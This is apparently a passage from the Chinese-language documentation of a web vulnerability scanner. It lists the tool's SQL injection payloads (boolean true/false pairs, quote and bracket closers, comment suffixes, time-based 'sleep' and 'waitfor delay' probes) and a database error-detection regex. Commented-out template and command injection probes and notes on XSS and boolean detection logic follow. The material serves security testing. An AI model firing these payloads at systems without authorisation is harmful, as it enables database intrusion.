#这个用来做paylaod执行 这个里面都是正确的,下面的都是错误的
self.payloadRight = [
'and 1=1',
"and '1'='1",
"or '1234'='1234",
'or "x"="x',
'and "x"="x',
]
#这个都是错误的,和上面的一一对应,我要的就是一对一错
self.payloadWrong = [
'and 1=2',
"and '1'='2",
"or '1234'='1",
'or "x"="y',
'and "x"="y',
]
#用于前面的闭合
self.bihe=[
'',
"'",
'"',
"')",
'")',
';',
');',
"';",
"'))",
'"))'
]
#这个用来注释
self.zhushi=[
'',
'-- ',
'--+',
'#',
# ';%00',
]
self.errorFlag = re.compile(r'.*(SQL syntax.*?MySQL|Warning.*?Wmysqli?_|MySQLSyntaxErrorException|valid MySQL result|check the manual that|MySqlClient.|com.mysql.jdbc|Mysqli_Exception|MySqlException|Syntax error|PostgreSQL.*?ERROR|Npgsql.|PG::SyntaxError:|PSQLException|Driver.*? SQL*Server|OLE DB.*? SQL Server|Warning.*?W(mssql|sqlsrv)_|ODBC SQL Server Driver|SQLServer JDBC Driver|SQL(Srv|Server)Exception|Oracle error|SQL command|OracleException|SQL error|DB2Exception|Informix|IfxException|SQL Error|SQLite|JDBCDriver|sqlite3|SQLiteException|DriverSapDB|Sybase|SybSQLException|SQLSTATE|SQL syntax|mysql_error|syntax error|nvarchar|valid Mysql|Unknown column|ODBC SQL SERVER|An unhandled exception|sqlException|SQLException|OleDbException).*')
self.blind=[
#"SELECT pg_sleep(5)",
"and sleep(5)",
"xor sleep(5)",
"or sleep(5)",
"waitfor delay '0:0:5'",
'if(now()=sysdate(),sleep(5),0)',
'XOR(if(now()=sysdate(),sleep(5),0))',
'OR 261=(SELECT 261 FROM PG_SLEEP(5))',
# "(select(0)from(select(sleep(12)))v)/*'%2B(select(0)from(select(sleep(12)))v)%2B'"%2B(select(0)from(select(sleep(12)))v)%2B"*/",
# '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()',#这是个模板注入,放在这里了
# '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()',#
# '$(sleep 5)',
]
3.2 xss检测
通过增加xss平台paylaod及典型paylaod执行后正则判断特征值是否在返回包中,来检测是否存在xss
在类中定义自己的xsspayload字典和特征值
3.3 检测机制:
首先分析请求数据包和返回数据包获取各类信息,然后获取数据包中的参数信息(不检测cookie里面的参数)逐一检测。
报错型sql注入根据返回包正则匹配信息,正则判断在78行
布尔型根据对错和原始数据包状态码及数据包长度来判断,判断条件为
if resLength2>0 and ((flag1 and flag2 and flag3 and ResStatusCode=='200') or (len1<0.01<len2<0.1))